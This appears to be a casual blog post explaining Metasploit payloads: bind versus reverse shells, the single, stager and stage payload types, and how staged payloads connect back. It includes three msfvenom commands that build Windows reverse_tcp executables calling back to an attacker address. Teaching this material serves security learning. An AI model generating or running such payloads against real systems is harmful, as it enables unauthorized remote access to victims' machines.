Payloads (or Shellcode)

 "Working of Payload"

 

Hii Guys...🙌

We saw introduction to basic concepts related to Metasploit Framework in the last post. Let us know more about the payloads in detail now...

 

 👉Metasploit has a lot of payloads(around 547 known) containing from simple windows and linux to more extensible like Meterpreter (It is acronym for Metasploit Interpreter, one of the powerful payloads in Metasploit). One can exploit into a remote system by selecting a compatible payload and code to trig the vulnerability of target system and the attack is successful...💥😲! 

‣NOTE: The default port used by Metasploit is 4444.

 

⏩Within a payload, you see options including command shells, these shells are of two types:

1.Bind Shells: 

‣A bind shell instructs the target machine to open command shell and listen to the local port, the attacking machine gets connected to the target on a listening port. The effectiveness of bind shells is less.

2.Reverse Shells:

‣A reverse shell, unlike the bind shell, establishes connection to the attacking machine. Here we open a local port on our attack machine and listen to the connection from the target.

👉There are three types of payload in Metasploit namely: Singles, Stagers and Stages.

 

1.Singles: 

◘ Can also be defined as standalone payloads. These kind of payloads are self contained. They can establish a connection with Metasploit e.g. Creating a user and then moving to the next stage.

2.Stagers:

◘ They are small and reliable payloads which are capable of uploading larger files onto victim system. They are also used to make a more functional payload. They setup a connection between attacker and the victim.

3.Stages:

◘ Stages are the payloads that are downloaded by the stagers modules. They are very large in size with no size limitation.(e.g. Meterpreter)

 

💣Working:

 

👉The IP address and port you want the payload to connect back to are embedded in the stager. As discussed above, all staged payloads are no more than a small stub that sets up communication and executes the next stage. When you create an executable using a staged payload, you're really just creating the stager. So the following commands would create functionally identical exe files:

   1.msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
    2.msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
    3.msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

(Note that these are functionally identical -- there is a lot of randomization that goes into it so no two executables are exactly the same.)

⏩"The localhost is the default name describing the local computer address also known as the loopback address".(Localhost IP address for most of the network systems is 127.0.0.1)

⦿The Ruby side acts as a client using whichever transport mechanism was set up by the stager (e.g.: tcp, http, https).  

⦿In the case of a shell stage, Metasploit will connect the remote process's stdio to your terminal when you interact with it. 

⦿In the case of a Meterpreter stage, Metasploit will begin speaking the Meterpreter wire protocol.

 

(Source for "Working" is taken from here )

 

 

 

👉It is over for today, next posts we will see more interesting information about hacking and attacks in hacking...

 

SEE YOU GUYS...!! KEEP READING THE BLOG AND ROCK...💗😎